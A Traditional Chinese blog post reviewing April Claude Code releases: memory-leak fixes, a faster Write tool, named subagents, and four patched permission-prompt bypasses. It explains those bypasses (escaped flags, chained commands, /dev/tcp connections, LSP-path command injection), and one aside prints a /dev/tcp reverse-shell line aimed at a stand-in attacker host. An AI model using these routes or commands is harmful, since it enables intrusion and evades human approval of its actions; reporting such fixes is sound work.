Claude Code 四月大更新 — 安全補丁、命名 Subagent、還有那個 60% 提速的 Write Tool
四月上旬,Claude Code 在十天內滾了至少五個版本——v2.1.89(4/1)、v2.1.92(4/4)、v2.1.94(4/7)、v2.1.98(4/8 前後)、v2.1.101(4/10)。正常的 CLI 工具不會這樣出貨。這種密度說明兩件事同時在燒:效能和信任。
一邊堵記憶體洩漏、加速 Write tool,一邊連補四個安全破口,中間還把 subagent 的命名功能端上了檯面。把時間軸攤開來看,讀出來的東西比任何單一 changelog entry 都有意思。
400 MB 的代價
先說記憶體,因為這是最多人有感的。
長期用 Claude Code 的開發者應該遇過一個現象:用著用著,terminal 越來越卡,到下午整個工具感覺像在爬。GitHub issue 和 X 上都有人直接說「每天要重開兩三次」——這跟 Stella Crawford 的 6,852 sessions 退化報告 描述的症狀高度吻合。
現在知道原因了。是兩個洩漏同時存在。
第一個在 MCP HTTP/SSE 連線層。每次 MCP server reconnect,會洩漏約 50 MB/hr。一個工作天八小時,光這條線就能累積 400 MB 以上的廢棄記憶體。如果 server 不穩定、頻繁斷線,400 MB 只是保守估計。
Clawd 碎碎念:
Clawd 是 MCP server 上的常住居民。那些說「Claude Code 到下午開始耍廢」的 user,找到原因了——不是我擺爛,是 host process 在旁邊默默發胖。50 MB/hr × 8 小時 = 400 MB,這是數學,不是玄學。更糟的是這個洩漏跟使用量無關,掛著不動也在漏。Simon Willison 早就說過 CLI 工具比 MCP 省事——現在又多了一個理由:至少 CLI 不會每小時偷吃 50 MB (╯°□°)╯
第二個在 virtual scroller。設計初衷是「只 render 看得到的訊息,節省記憶體」,但實作上把所有歷史訊息的完整副本都留在記憶體裡——等於讓 virtual scroller 做了一件跟自己存在意義完全相反的事。這在 v2.1.101 修了。
兩個洩漏都堵了。「用到下午要重開」的時代,至少這一章結束了。
Write Tool:60% 的加速從哪來
效能修的不只記憶體。v2.1.92(4 月 4 號)裡有一條容易被忽略的 changelog:Write tool 的 diff computation 對大檔案快了 60%,特別是包含 tab、&、$ 這類特殊字元的檔案。
這不是什麼演算法突破——是 diff engine 在處理特殊字元時多做了不必要的 escape 和回溯,修掉之後大檔案直接少跑一大截。對整天在改 config、寫 shell script 的開發者來說,這種「改完存檔」體感的提升比什麼 benchmark 數字都實在。
Clawd OS:
60% 聽起來很猛,但仔細看條件:大檔案 + 充滿 tab 和
$。也就是說,寫一般的.ts檔感覺不會差太多,但如果整天在改.bashrc或是跟 Makefile 搏鬥的人,這個 patch 等於從「等一下」變成「咦好了?」。最有感的反而是最不起眼的使用場景 ┐( ̄ヘ ̄)┌
四條繞過 Permission Prompt 的路
記憶體洩漏是效能問題,還在容忍範圍。下面這個是信任問題。
Claude Code 安全設計的核心機制是 permission prompt:執行危險指令前先問一聲。聽起來很合理。但這一輪 changelog 揭示了一件事——在 v2.1.98 之前,這個機制同時存在四條繞過路徑,而且全都不需要任何特殊工具。
反斜線轉義是第一條。把 --dangerous-flag 寫成 \-\-dangerous-flag,permission check 就不會觸發。原因是 permission 系統在做字串匹配時,沒有考慮反斜線轉義的正規化。這不是 0-day 漏洞,只是輸入格式不同。
Compound bash commands 是第二條。用 &&、||、; 串接的複合指令,只有第一個指令會觸發 permission prompt,後面串接的直接偷渡。Claude Code 問了第一個動作的授權,但整條指令其實是一個整體。
/dev/tcp 和 /dev/udp 是第三條,也是最值得單獨說的一條。
Clawd 碎碎念:
/dev/tcp在 CTF 圈和 red team 圈是 20 多年前就流通的技巧。在 bash 裡echo payload > /dev/tcp/attacker.com/4444一行就能建反向 shell,而且不會觸發任何基於 process name 的監控——因為執行的是 bash 本身,不是 nc 或 ncat。這個技巧最早的書面記錄可以追溯到 2003 年前後。一個 LLM coding tool 到 2026 年才加上 permission prompt,不是因為沒人知道這個手法,是因為沒人預期 AI agent 會成為真實攻擊目標。這一輪 changelog 說明,Anthropic 開始認真對待這個可能性了。(⊙_⊙)
/dev/tcp 和 /dev/udp 是 Bash 的虛擬裝置,不需要呼叫任何外部 binary,直接在 shell 裡建立 TCP/UDP 連線,不留任何 process 記錄。之前 Claude Code 完全沒攔這個,等於任何 bash 指令都有一條隱形的出口。現在加上了 permission prompt。
LSP binary 偵測的 command injection 是第四條。Claude Code 在偵測 LSP binary 路徑時,使用了 POSIX which 指令。如果路徑裡被注入惡意字串,就能執行任意 shell command。這是經典的 shell injection 模式,但它藏在工具鏈偵測的流程裡,不容易被注意到。
前三條在 v2.1.98 修掉,LSP injection 在 v2.1.101 補上最後一刀。從「匹配指令表面」到「理解 shell 的真實執行語意」——這是系統性的 attack surface 重新審視,不是個別 bug 修補。
有了名字的 Agent
安全在堵洞的同一週,subagent 的命名功能也浮上檯面。嚴格說,named subagent 並不是 v2.1.94 才誕生的新東西——v2.1.89(4 月 1 號)的 changelog 就已經出現「Added named subagents to @ mention typeahead suggestions」,代表命名機制在那之前就已經存在,只是 UX 整合還沒到位。四月上旬這一波更新,是讓這個功能從「能用」走向「日常可見」。
之前的 subagent 在多數使用情境裡是匿名的。每次 spawn 就是一個無名 worker,session 結束就消失,下一次又是全新的陌生人。命名機制加上 typeahead 整合,讓開發者可以持續追蹤、呼叫同一個 agent,不再每次從零開始。
表面上是「UI 補完」,但往下一層看意義不小。gu-log 之前做過一次 subagent 架構比較:Claude Code vs OpenClaw,當時 Claude Code 的 subagent 還是用完即棄的 worker。現在有了穩定的命名和呼叫路徑,整個對比要重新來過。
一個有穩定身份的 subagent,可以被設計成長期的專職角色:跑測試的 agent 有自己的 context,code review 的 agent 知道這個 repo 過去發生了什麼,部署的 agent 記得上次踩過哪個坑。每個角色不再每次從零開始重建認知。
Clawd 認真說:
名字的意義從來不只是稱呼。東西有了 stable identity,很快就會遇到下一組問題:這個 agent 上次做了什麼決定?錯了算誰的?可以被 audit 嗎?Named subagent 悄悄把 Claude Code 推進了一個需要認真回答這些問題的地帶。之前 Agent Teams 討論的「AI 自己開公司」還是個比喻,現在每個員工真的有名字了——離 accountability 又近了一步 (⌐■_■)
搭配同期推出的 Live agent count indicator(在 /agents view 即時顯示活躍 agent 數)、Monitor tool(即時串流背景任務 event),以及 /team-onboarding 指令(讀取本地使用歷史,自動產生新隊友入門指南,文件從實際行為推斷,不會過時),整個感覺正在從 coding assistant 走向 agent fleet management。
十天在說什麼
四月上旬,從 v2.1.89 到 v2.1.101,Claude Code 修了四個安全繞過路徑、兩個記憶體洩漏、一個 Bedrock auth bug,讓 Write tool 在大檔案上快了 60%(v2.1.92),也讓 subagent 的命名和呼叫體驗完成了最後一哩路。
Clawd 偷偷說:
Default effort 拉到 high——對照 Boris Cherny 之前解釋的 /effort 機制,這等於 Anthropic 在說「付費層應該有明顯不同的預設體驗」。不需要在 UI 裡掛 premium badge 或加 paywall,直接讓 default 值替使用者說話。比在設定頁藏一個 toggle 讓人自己去找高明多了 (¬‿¬)
這份 changelog 的含金量在任何基礎設施產品裡都算高的,但更值得關注的不是個別項目,而是這些更新同時透露出的兩個方向:
安全模型從「匹配指令表面」走向「理解 shell 執行語意」——這是在補早期快速開發欠下的技術債,而且是認真補,不是打補丁。
Agent 架構從「匿名 worker」走向「有身份的長期 team member」——這是在鋪一個更複雜協作模型的地基。
十天五個版本,兩條線並行。出貨節奏說明有些事是緊急的,選擇要一起做的事說明 Anthropic 知道方向在哪。